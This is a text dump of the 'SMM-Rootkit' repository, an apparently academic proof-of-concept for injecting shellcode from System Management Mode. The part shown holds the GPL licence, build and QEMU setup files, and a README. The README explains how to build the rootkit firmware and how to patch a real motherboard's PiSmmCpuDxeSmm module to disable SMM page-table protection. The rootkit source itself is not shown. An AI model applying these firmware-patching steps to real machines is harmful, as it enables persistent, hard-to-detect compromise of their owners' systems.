Repository: jussihi/SMM-Rootkit Branch: master Commit: 1ac885f1cd14 Files: 40 Total size: 281.7 KB Directory structure: gitextract_y9b5pqko/ ├── .gitignore ├── Dockerfile ├── LICENSE ├── README.md ├── SMM Rootkit/ │ ├── Conf/ │ │ └── target.txt │ ├── OvmfPkg/ │ │ ├── OvmfPkgX64.dsc │ │ └── OvmfPkgX64.fdf │ ├── SMMRootkit/ │ │ ├── .gitignore │ │ ├── MemManager.c │ │ ├── MemManager.h │ │ ├── Memory.c │ │ ├── Memory.h │ │ ├── MemoryMapUEFI.c │ │ ├── MemoryMapUEFI.h │ │ ├── SMMRootkit.c │ │ ├── SMMRootkit.inf │ │ ├── TimerRTC.c │ │ ├── TimerRTC.h │ │ ├── WinTools.c │ │ ├── WinTools.h │ │ ├── WinUmdIATHook.c │ │ ├── WinUmdIATHook.h │ │ ├── helpers.asm │ │ ├── serial.c │ │ ├── serial.h │ │ ├── string.c │ │ ├── string.h │ │ └── windows.h │ └── UefiCpuPkg/ │ ├── PiSmmCpuDxeSmm/ │ │ └── X64/ │ │ └── PageTbl.c │ └── UefiCpuPkg.dec ├── run_docker.sh ├── shellcode/ │ └── windows_x64_umd_iat/ │ ├── README.md │ ├── windows_x64_umd_iat.asm │ └── windows_x64_umd_iat.c └── target_tests/ └── windows_x64_umd_iat/ ├── .gitignore ├── README.md ├── windows_x64_umd_iat/ │ ├── windows_x64_umd_iat.cpp │ ├── windows_x64_umd_iat.vcxproj │ └── windows_x64_umd_iat.vcxproj.filters └── windows_x64_umd_iat.sln ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ edk2/* ================================================ FILE: Dockerfile ================================================ FROM ubuntu:16.04 MAINTAINER Jussi Hietanen RUN \ apt-get update && \ apt-get -y install ccache build-essential python python-pip qemu sudo nano libgcc-5-dev uuid-dev nasm iasl git wget zip xorg-dev p7zip-full ================================================ FILE: LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ================================================ FILE: README.md ================================================ # SMM Rootkit ## Table of contents - [Repository Contents](#repository-contents) * [SMM Rootkit](#smm-rootkit-1) * [shellcode](#shellcode) * [target_tests](#target_tests) - [Compiling](#compiling) * [First time setup](#first-time-setup) * [Building](#building) - [Running the OVMF inside QEMU/KVM](#running-the-ovmf-inside-qemukvm) * [VM setup](#vm-setup) * [Running](#running) - [FAQ](#faq) * [How to patch PiSmmCpuDxeSmm](#how-to-patch-pismmcpudxesmm) * [No serial output after boot](#no-serial-output-after-boot) ## Intro This System Management Mode (SMM) rootkit is a PoC to demonstrate how injecting shellcode to a ring0/ring3 context can be achieved from the SMM. If you want to read about SMM rootkits in general and about how this SMM rootkit was implemented, please read my recent [blog post](https://jussihi.kapsi.fi/2022-09-08-smmrootkit/) about it! Also please check our newest SMM-related project, [Hermes](https://github.com/pRain1337/Hermes), which enables SMM-level privilege escalation with interactive usermode application! Created by Jussi Hietanen (Aalto University, Espoo FI) and Diego Caminada (HF-ICT, Muttenz CH). ## Repository Contents #### SMM Rootkit This folder contains the files & folders to be copied to the edk2 root dir to compile the SMM Rootkit with the rest of the OVMF. It includes ready-made configuration files and modified source files to allow the rootkit to access the whole 64-bit memory address space with on-demand paging. #### shellcode Contains shellcode to be generated for the SMM rootkit. This shellcode is then injected from the SMM to whatever process/operating system is targeted. You can read more about different types of attacks from their subfolders. Currently there is only Windows x64 usermode IAT hooking, but more should be added! #### target_tests Contains test programs to test the Rootkit functionality. For more information, check the subfolders' readmes. ## Compiling ### First time setup Skip to "Building" if you have done the first-time setup already. 1. Clone the EDK2 inside this repo and checkout the right tag (vUDK2018, see step 3 for why this tag). ``` $ git clone git@github.com:tianocore/edk2.git $ cd edk2 $ git checkout vUDK2018 ``` 2. Start docker build env and setup BaseTools ``` # ./run_docker.sh ``` Inside docker, ``` # cd edk2 # make -C BaseTools # . edksetup.sh ``` 3. Exit docker, and copy the contents of SMM Rootkit folder to edk2 folder **(It is important to use the tag vUDK2018, otherwise the ready-patched files inside the SMM Rootkit folder won't match and the OVMF may not build successfully)**, in repo root run ``` # cp -r SMM\ Rootkit/* edk2/ ``` First time setup is done! ### Building Run ``` # ./run_docker.sh ``` Then, inside the docker, ``` # cd edk2 # . edksetup.sh # build -DSMM_REQUIRE ``` The resulting OVMF firmware will be inside `edk2/Build/OvmfX64/RELEASE_GCC5/FV`. ## Running the OVMF inside QEMU/KVM ### VM Setup Needed packages: ``` qemu libvirt virt-manager ebtables dnsmasq ``` For qemu to show the custom OVMF binary, you need to create a file `/usr/share/qemu/firmware/60-ovmf-rootkit-x86_64.json` and inside it add our FV entry: ``` { "description": "UEFI SMM rootkit OVMF firmware for x86_64", "interface-types": [ "uefi" ], "mapping": { "device": "flash", "executable": { "filename": "/your/path/to-git/SMM-Rootkit/edk2/Build/OvmfX64/RELEASE_GCC5/FV/OVMF_CODE.fd", "format": "raw" }, "nvram-template": { "filename": "/your/path/to-git/SMM-Rootkit/edk2/Build/OvmfX64/RELEASE_GCC5/FV/OVMF_VARS.fd", "format": "raw" } }, "targets": [ { "architecture": "x86_64", "machines": [ "pc-i440fx-*", "pc-q35-*" ] } ], "features": [ "acpi-s3", "amd-sev", "verbose-dynamic" ], "tags": [ ] } ``` Now you may create a new virtual machine. During setup, in the last state, check the box "Customize configuration before install" before clicking "Finish". From the next window, change the Firmware to the *UEFI SMM rootkit OVMF firmware for x86_64* configured earlier. ### Running To start the vm, enable service `libvirtd` and enable default network; ``` # virsh net-start default ``` To check the serial output (the VM must be powered on) ``` # virsh list /* win10 is the name of the libvirt instance */ # virsh console win10 ``` ## FAQ ### How to patch PiSmmCpuDxeSmm If you are trying to run this SMM rootkit on real hardware, you need to patch your motherboard's `PiSmmCpuDxeSmm` module from the UEFI firmware. You can mimick [our patch](https://github.com/jussihi/SMM-Rootkit/tree/master/SMM%20Rootkit/UefiCpuPkg) by Patching this variable initialization out and hard code the variable itself to 0 with your favorite disassembler (IDA or similar): https://github.com/tianocore/edk2/blob/master/UefiCpuPkg/PiSmmCpuDxeSmm/X64/PageTbl.c#L352 Easiest way to find that function (SmmInitPageTable) is to search for the strings of the error messages: https://github.com/tianocore/edk2/blob/master/UefiCpuPkg/Library/CpuExceptionHandlerLib/X64/ArchExceptionHandler.c#L265 Which is referenced multiple times in the SMI Page fault handler: https://github.com/tianocore/edk2/blob/master/UefiCpuPkg/PiSmmCpuDxeSmm/X64/PageTbl.c#L1003 And the page fault handler is initialized in the same function as the variable initialization (SmmInitPageTable): https://github.com/tianocore/edk2/blob/master/UefiCpuPkg/PiSmmCpuDxeSmm/X64/PageTbl.c#L442 ### No serial output after boot Sometimes the serial traffic is blocked as the operating system's own serial driver. This is at least the case in Windows systems when not booting inside a (QEMU/KVM) virtual machine. #### There are two ways to get serial working on this sort of situation: - Block the Operating System from loading the driver. On GNU+Linux, you can disable the driver completely if one is loaded. On Windows systems, you might need to rename/delete the system's serial driver. The default path to the driver executable is `C:\Windows\System32\drivers\serial.sys` - Open an SSH client locally You can also open the connection to the local serial port using your favorite serial client. At least on Windows this will prevent Windows' own driver from suppressing the serial output. ================================================ FILE: SMM Rootkit/Conf/target.txt ================================================ # # Copyright (c) 2006 - 2018, Intel Corporation. All rights reserved.
# # This program and the accompanying materials # are licensed and made available under the terms and conditions of the BSD License # which accompanies this distribution. The full text of the license may be found at # http://opensource.org/licenses/bsd-license.php # THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, # WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. # # # ALL Paths are Relative to WORKSPACE # Separate multiple LIST entries with a SINGLE SPACE character, do not use comma characters. # Un-set an option by either commenting out the line, or not setting a value. # # PROPERTY Type Use Description # ---------------- -------- -------- ----------------------------------------------------------- # ACTIVE_PLATFORM Filename Recommended Specify the WORKSPACE relative Path and Filename # of the platform description file that will be used for the # build. This line is required if and only if the current # working directory does not contain one or more description # files. ACTIVE_PLATFORM = OvmfPkg/OvmfPkgX64.dsc # TARGET List Optional Zero or more of the following: DEBUG, RELEASE, NOOPT # UserDefined; separated by a space character. # If the line is missing or no value is specified, all # valid targets specified in the platform description file # will attempt to be built. The following line will build # DEBUG platform target. TARGET = RELEASE # TARGET_ARCH List Optional What kind of architecture is the binary being target for. # One, or more, of the following, IA32, IPF, X64, EBC, ARM # or AArch64. # Multiple values can be specified on a single line, using # space charaters to separate the values. These are used # during the parsing of a platform description file, # restricting the build output target(s.) # The Build Target ARCH is determined by (precedence high to low): # Command-line: -a ARCH option # target.txt: TARGET_ARCH values # DSC file: [Defines] SUPPORTED_ARCHITECTURES tag # If not specified, then all valid architectures specified # in the platform file, for which tools are available, will be # built. TARGET_ARCH = X64 # TOOL_DEFINITION_FILE Filename Optional Specify the name of the filename to use for specifying # the tools to use for the build. If not specified, # WORKSPACE/Conf/tools_def.txt will be used for the build. TOOL_CHAIN_CONF = Conf/tools_def.txt # TAGNAME List Optional Specify the name(s) of the tools_def.txt TagName to use. # If not specified, all applicable TagName tools will be # used for the build. The list uses space character separation. TOOL_CHAIN_TAG = GCC5 # MAX_CONCURRENT_THREAD_NUMBER NUMBER Optional The number of concurrent threads. If not specified or set # to zero, tool automatically detect number of processor # threads. Recommend to set this value to one less than the # number of your computer cores or CPUs. When value set to 1, # means disable multi-thread build, value set to more than 1, # means user specify the thread number to build. Not specify # the default value in this file. # MAX_CONCURRENT_THREAD_NUMBER = 1 # BUILD_RULE_CONF Filename Optional Specify the file name to use for the build rules that are followed # when generating Makefiles. If not specified, the file: # WORKSPACE/Conf/build_rule.txt will be used BUILD_RULE_CONF = Conf/build_rule.txt ================================================ FILE: SMM Rootkit/OvmfPkg/OvmfPkgX64.dsc ================================================ ## @file # EFI/Framework Open Virtual Machine Firmware (OVMF) platform # # Copyright (c) 2006 - 2018, Intel Corporation. All rights reserved.
# (C) Copyright 2016 Hewlett Packard Enterprise Development LP
